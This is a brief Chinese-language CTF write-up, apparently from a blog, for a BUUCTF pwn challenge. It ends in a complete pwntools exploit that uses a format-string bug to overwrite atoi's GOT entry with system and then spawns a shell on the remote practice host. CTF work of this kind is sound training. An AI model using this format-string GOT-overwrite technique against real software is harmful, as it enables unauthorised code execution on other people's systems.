共计 411 个字符,预计需要花费 2 分钟才能阅读完成。
提醒:本文最后更新于 2024-08-29 09:53,文中所关联的信息可能已发生改变,请知悉!
checksec
IDA
有两个输入点,但都做了读取长度限制,无法溢出,那么我们选择利用格式化字符串漏洞
检查偏移
得到偏移为 10
思路
利用格式化字符串改写 atoi 的 got 地址,将其改为 system 的地址,然后再输入 '/bin/sh\x00'
,得到 shell
EXP
from pwn import *
p = remote('node4.buuoj.cn', 28088)
elf = ELF('./pwn')
atoi = elf.got['atoi']
system = elf.plt['system']
payload = fmtstr_payload(10, {atoi: system}) # 又臭不要脸的用了 fmtstr 函数
p.sendline(payload)
p.sendline('/bin/sh\x00')
p.interactive()
结果
正文完